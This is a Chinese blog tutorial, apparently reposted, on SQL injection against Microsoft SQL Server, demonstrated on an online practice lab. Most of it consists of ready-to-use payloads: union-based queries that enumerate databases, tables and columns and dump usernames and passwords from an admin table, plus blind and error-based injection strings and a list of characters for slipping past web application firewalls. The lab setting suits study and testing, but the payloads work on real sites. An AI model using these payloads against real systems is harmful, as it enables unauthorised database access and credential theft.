mssql注入与绕过

0x00   前言

上篇文章写了mssql的查询方式与mssql 和mysql的区别。在注入当中也是有些区别的。下面直接来看到几种mssql注入的方法与特性,绕过方式。因为mssql加aspx的站懒得搭建,所以这里直接拿墨者的在线靶机做测试。

0x01    mssql 联合查询

这里输入单引号报错了 ,初步判断存在注入。

and 1=1  正常
and 1=2  报错

这里再来猜字段

order by 10  报错
order by 5   报错
order by 4   正常

那么他的字段就是4位。

知道字段后我们再来对他进行联合查询。

and 1=2 union select null,null,null,null  报错

这里要采用null的方式来占位,因为mssql数据库是个强类型的数据库,对数据格式比较严格。

这里报错了 ,可能是union select 函数被禁用了

and 1=2 union all select null,null,null,null

 没报错但是没回显数据

and 1=2 union all select 'null,null,null,null
and 1=2 union all select null,'null',null,null
and 1=2 union all select null,null,'null',null
and 1=2 union all select null,null,null,'null'

一个一个加单引号括起来,查看类型

在第二和第三位置是可以回显数据的,我们就在 二和三的位置来查询数据

 and 1=2 union all select null,@@version,'null',null

查询版本为2005的版本, 能正常查询,这时候就可以去爆我们的数据。

先来查询他的数据库名

and 1=2 union all select null,db_name(),'null',null  查看当前数据库
and 1=2 union all select null,db_name(1),'null',null 查看第一个数据库
and 1=2 union all select null,db_name(2),'null',null 查看第二个数据库
and 1=2 union all select null,db_name(3),'null',null 查看第三个数据库
and 1=2 union all select null,db_name(4),'null',null  查看第四个数据库
and 1=2 union all select null,db_name(5),'null',null 查看第五个数据库
and 1=2 union all select null,db_name(6),'null',null 查询失败

那么这里,就可以去爆出他的数据库这里的数据库是5个数据库 

 这也是个mysql不一样的地方,可以直接输入db_name ()里面添加参数,直接遍历数据库名。

直接查询mozhe_db_v2这个数据库的表名

 and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype ='u'),'null',null

top是取值 ,查询到的第一行数据,那么如果我们想爆第二表呢,在mssql里面没有 limit这个函数。 

xtpye ='u' 这个是我们指定查询的条件,查询他自定义的表

-2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype ='u' and name <>('manage')),null,null

这里直接指定查询条件为name 不等于manage 然后爆出他的第二张表  如果后面还需要查询的话也是同样的方式。

union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype ='u' and name <>('manage') and name<>('announcement')),null,null

这里查询不回显,那么说明他这就2张表。

既然我们现在知道了表后就可以直接来爆字段了

union all select null,(select top 1 col_name(object_id('manage'),1)from sysobjects),null,null
union all select null,(select top 1 col_name(object_id('manage'),2)from sysobjects),null,null
union all select null,(select top 1 col_name(object_id('manage'),3)from sysobjects),null,null

分别显示了 id ,username ,password 。

column_id列的标识号。 column_id 自变量具有一个 int 数据类型 。

该函数会返回指定对象的ID值,可以在sysobjects表中进行验证。

union all select null,(select top 1 username from manage),null,null
union all select null,(select top 1 password from manage),null,null

 直接爆出数据。这个是我们的简单联合的注入方式。

0x02    mssql 盲注

这里来直接给出语句和我们的mysql差不多,

猜表

AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables = 'A'

用取值函数来取information_schema.table 里面的值,这个数据库在我们mssql中是个视图,而不是真正的数据库。

AND SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns = 'A'

0x03   mssql 报错注入

在mssql注入里面,我们常常会利用报错注入来爆出数据,这个报错注入基本基于类型转换上的错误进行报错注入。

注入语句:

AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables)

如果想查询第二张表的话可以利用到前面的方式 name不等于 第一张表

AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables WHERE table_name NOT IN(SELECT TOP 1 table_name FROM information_schema.tables))

这里和前面说到的差不多,这个的意思是查询第一条数据 然后不在第一张表里面查询,那么就可以爆出我们的第二张表。想爆第三张表也是一样。

AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables WHERE table_name NOT IN(SELECT TOP 2 table_name FROM information_schema.tables))

不在前面2张表进行查询。 那么查询第一行数据就是第三表的数据。

0x04   mssql 特性

可替代空格字符的字符:

01    Start of Heading
02    Start of Text
03    End of Text
04    End of Transmission
05    Enquiry
06    Acknowledge
07    Bell
08    Backspace
09    Horizontal Tab
0A    New Line
0B    Vertical Tab
0C    New Page
0D    Carriage Return
0E    Shift Out
0F    Shift In
10    Data Link Escape
11    Device Control 1
12    Device Control 2
13    Device Control 3
14    Device Control 4
15    Negative Acknowledge
16    Synchronous Idle
17    End of Transmission Block
18    Cancel
19    End of Medium
1A    Substitute
1B    Escape
1C    File Separator
1D    Group Separator
1E    Record Separator
1F    Unit Separator
20    Space
25    %

and 和or 后的中间替代字符

01-20    范围
21    !
2B    +
2D    --
2E    。
5C    \
7E    〜

mssql 注释方式:

/**/    c语言注释

--    sql注释

;%00    

在绕waf当中会频繁用到这些注释方式,也会用到各种特殊字符来绕过waf,mssql可替代空格的字符比mysql多出不少,在外面绕过waf当中会有很大的帮助。

0x03   结尾

本次文章耗时 2小时。记录快乐时刻。

猜你喜欢

转载自www.cnblogs.com/nice0e3/p/12706294.html
今日推荐